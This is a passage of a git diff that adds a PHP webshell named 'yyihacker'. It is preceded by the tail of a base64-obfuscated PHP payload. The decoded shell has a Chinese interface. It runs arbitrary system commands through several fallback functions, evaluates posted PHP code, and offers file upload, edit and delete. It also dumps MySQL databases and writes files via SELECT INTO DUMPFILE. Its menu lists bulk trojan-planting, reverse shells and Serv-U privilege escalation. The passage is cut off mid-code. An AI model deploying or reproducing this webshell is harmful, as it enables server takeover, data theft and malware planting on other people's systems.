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")))?> \ No newline at end of file diff --git a/php/yyihacker.php.txt b/php/yyihacker.php.txt new file mode 100644 index 0000000..25d92b0 --- /dev/null +++ b/php/yyihacker.php.txt @@ -0,0 +1,2085 @@ + + + + + + + + + + + + +=======================================decode after http://decode.cnxct.com/ ================================== + + + + + + + + + + + +";echo "注销成功......

    三秒后自动退出或单击这里退出程序界面 >>>";exit;} +if ($_POST['do'] == 'login') {$thepass=trim($_POST['adminpass']);if ($admin['pass'] == $thepass) {setcookie ("adminpass",$thepass,time()+(1*24*3600));echo "";echo "".$copyurl.$serveru."&p=".$serverp.$copyurll."";exit;}}if (isset($_COOKIE['adminpass'])) {if ($_COOKIE['adminpass'] != $admin['pass']) {loginpage();}} else {loginpage();}} +/*===================== 验证结束 =====================*/ +// 判断 magic_quotes_gpc 状态 +if (get_magic_quotes_gpc()) {$_GET = stripslashes_array($_GET);$_POST = stripslashes_array($_POST);} +//mix.dll的代码 +$mixdll = "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"; + +function shelL($command){ +global $windows,$disablefunctions; +$exec = '';$output= ''; +$dep[]=array('pipe','r');$dep[]=array('pipe','w'); +if(is_callable('passthru') && !strstr($disablefunctions,'passthru')){ @ob_start();passthru($command);$exec=@ob_get_contents();@ob_clean();@ob_end_clean();} +elseif(is_callable('system') && !strstr($disablefunctions,'system')){$tmp = @ob_get_contents(); @ob_clean();system($command) ; $output = @ob_get_contents(); @ob_clean(); $exec= $tmp; } +elseif(is_callable('exec') && !strstr($disablefunctions,'exec')) {exec($command,$output);$output = join("\n",$output);$exec= $output;} +elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec($command);} +elseif(is_resource($output=popen($command,"r"))) {while(!feof($output)){$exec= fgets($output);}pclose($output);} +elseif(is_resource($res=proc_open($command,$dep,$pipes))){while(!feof($pipes[1])){$line = fgets($pipes[1]); $output.=$line;}$exec= $output;proc_close($res);} +elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get('upload_tmp_dir') ;$name = $_SERVER["TEMP"].namE();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents($name);unlink($name);} +return $exec; +} +// 查看PHPINFO +if ($_GET['action'] == "phpinfo") {echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() 函数已被禁用,请查看<PHP环境变量>";exit; +}if($_GET['action'] == "nowuser") {$user = get_current_user(); +if(!$user) $user = "报告长官,主机变态,无法获取当前进行用户名!"; +echo"当前进程用户名:$user"; +exit; +} +if(isset($_POST['phpcode'])){eval("?".">$_POST[phpcode]".mysql_error(); + }else{ + while ($row = mysql_fetch_array($result)) { + $filename = basename($filename); + if($rardown=="yes"){ + $zip = NEW Zip; + $zipfiles[]=Array("$filename",$row[0]); + $zip->Add($zipfiles,1); + $code = $zip->get_file(); + $filename = "".$filename.".rar"; + }else{ + $code = $row[0]; + } + header("Content-type: application/octet-stream"); + header("Accept-Ranges: bytes"); + header("Accept-Length: ".strlen($code)); + header("Content-Disposition: attachment;filename=$filename"); + echo($code); + exit; + } + } + } +} +// 在线代理 +if (isset($_POST['url'])) {$proxycontents = @file_get_contents($_POST['url']);echo ($proxycontents) ? $proxycontents : "


    获取 URL 内容失败

    ";exit; +} +// 下载文件 +if (!empty($downfile)) {if (!@file_exists($downfile)) {echo "";} else {$filename = basename($downfile);$filename_info = explode('.', $filename);$fileext = $filename_info[count($filename_info)-1];header('Content-type: application/x-'.$fileext);header('Content-Disposition: attachment; filename='.$filename.'');header('Content-Description: PHP Generated Data');header('Content-Length: '.filesize($downfile));@readfile($downfile);exit;} +} +// 直接下载备份数据库 +if ($_POST['backuptype'] == 'download') { + @mysql_connect($servername,$dbusername,$dbpassword) or die("数据库连接失败"); + @mysql_select_db($dbname) or die("选择数据库失败"); + $table = array_flip($_POST['table']); + $result = mysql_query("SHOW tables"); + echo ($result) ? NULL : "出错: ".mysql_error(); + + $filename = basename($_SERVER['HTTP_HOST']."_MySQL.sql"); + header('Content-type: application/unknown'); + header('Content-Disposition: attachment; filename='.$filename); + $mysqldata = ''; + while ($currow = mysql_fetch_array($result)) { + if (isset($table[$currow[0]])) { + $mysqldata.= sqldumptable($currow[0]); + $mysqldata.= $mysqldata."\r\n"; + } + } + mysql_close(); + exit; +} + +// 程序目录 +$pathname=str_replace('\\','/',dirname(__FILE__)); +$dirpath=str_replace('\\','/',$_SERVER["DOCUMENT_ROOT"]); + +// 获取当前路径 +if (!isset($dir) or empty($dir)) { + $dir = "."; + $nowpath = getPath($pathname, $dir); +} else { + $dir=$_GET['dir']; + $nowpath = getPath($pathname, $dir); +} + +// 判断读写情况 +$dir_writeable = (dir_writeable($nowpath)) ? "可写" : "不可写"; +$phpinfo=(!eregi("phpinfo",$dis_func)) ? " | PHPINFO()" : ""; +$reg = (substr(PHP_OS, 0, 3) == 'WIN') ? " | 注册表操作" : ""; + +$tb = new FORMS; + +?> + + + + + + +<?php echo"$myneme"?> + +
    +tableheader(); +$tb->tdbody('
    '.$_SERVER['HTTP_HOST'].''.date("Y年m月d日 h:i:s",time()).''.gethostbyname($_SERVER['SERVER_NAME']).'
    ','center','top'); +$tb->tdbody('根目录 | Shell目录 | 环境变量 | 在线代理'.$reg.$phpinfo.' | WebShell | 杂项破解 | 解压mix.dll | 注销登录'); +$tb->tdbody('批量挂马 | Http文件下载 | 文件查找 | 执行php脚本 | 执行SQL语句 | Func反弹Shell | MySQL备份 | Serv-U提权'); +$tb->tablefooter(); +?> +
    + +headerform(array('method'=>'GET','content'=>'

    程序路径: '.$pathname.'
    当前目录('.$dir_writeable.','.substr(base_convert(@fileperms($nowpath),10,8),-4).'): '.$nowpath.'
    跳转目录: '.$tb->makeinput('dir',''.$nowpath.'','','text','80').' '.$tb->makeinput('','确定','','submit').' 〖支持绝对路径和相对路径〗')); + +$tb->headerform(array('action'=>'?dir='.urlencode($dir),'enctype'=>'multipart/form-data','content'=>'上传文件到当前目录: '.$tb->makeinput('uploadfile','','','file').' '.$tb->makeinput('doupfile','确定','','submit').$tb->makeinput('uploaddir',$dir,'','hidden'))); + +$tb->headerform(array('action'=>'?action=editfile&dir='.urlencode($dir),'content'=>'新建文件在当前目录: '.$tb->makeinput('editfile').' '.$tb->makeinput('createfile','确定','','submit'))); + +$tb->headerform(array('content'=>'新建目录在当前目录: '.$tb->makeinput('newdirectory').' '.$tb->makeinput('createdirectory','确定','','submit'))); +?> +

    +
    +\n"; +// 删除文件 +if (!empty($delfile)) { + if (file_exists($delfile)) { + echo (@unlink($delfile)) ? $delfile." 删除成功!" : "文件删除失败!"; + } else { + echo basename($delfile)." 文件已不存在!"; + } +} + +// 删除目录 +elseif (!empty($deldir)) { + $deldirs="$dir/$deldir"; + if (!file_exists("$deldirs")) { + echo "$deldir 目录已不存在!"; + } else { + echo (deltree($deldirs)) ? "目录删除成功!" : "目录删除失败!"; + } +} + +// 创建目录 +elseif (($createdirectory) AND !empty($_POST['newdirectory'])) { + if (!empty($newdirectory)) { + $mkdirs="$dir/$newdirectory"; + if (file_exists("$mkdirs")) { + echo "该目录已存在!"; + } else { + echo (@mkdir("$mkdirs",0777)) ? "创建目录成功!" : "创建失败!"; + @chmod("$mkdirs",0777); + } + } +} + +// 上传文件 +elseif ($doupfile) { + echo (@copy($_FILES['uploadfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadfile']['name']."")) ? "上传成功!" : "上传失败!"; +} +elseif($action=="mysqlup"){ + $filename = $_FILES['upfile']['tmp_name']; + if(!$filename) { + echo"没有选择要上传的文件。。"; + }else{ + $shell = file_get_contents($filename); + $mysql = bin2hex($shell); + if(!$upname) $upname = $_FILES['upfile']['name']; + $shell = "select 0x".$mysql." from ".$database." into DUMPFILE '".$uppath."/".$upname."';"; + $link=@mysql_connect($host,$user,$password); + if(!$link){ + echo "登陆失败".mysql_error(); + }else{ + $result = mysql_query($shell, $link); + if($result){ + echo"操作成功.文件成功上传到".$host.",文件名为".$uppath."/".$upname.".."; + }else{ + echo"上传失败 原因:".mysql_error(); + } + } + } + +} +elseif($action=="mysqldown"){ + if(!empty($downtmp)) echo $downtmp; +} +// 编辑文件 +elseif ($_POST['do'] == 'doeditfile') { + if (!empty($_POST['editfilename'])) { + if(!file_exists($editfilename)) unset($retime); + if($time==$now) 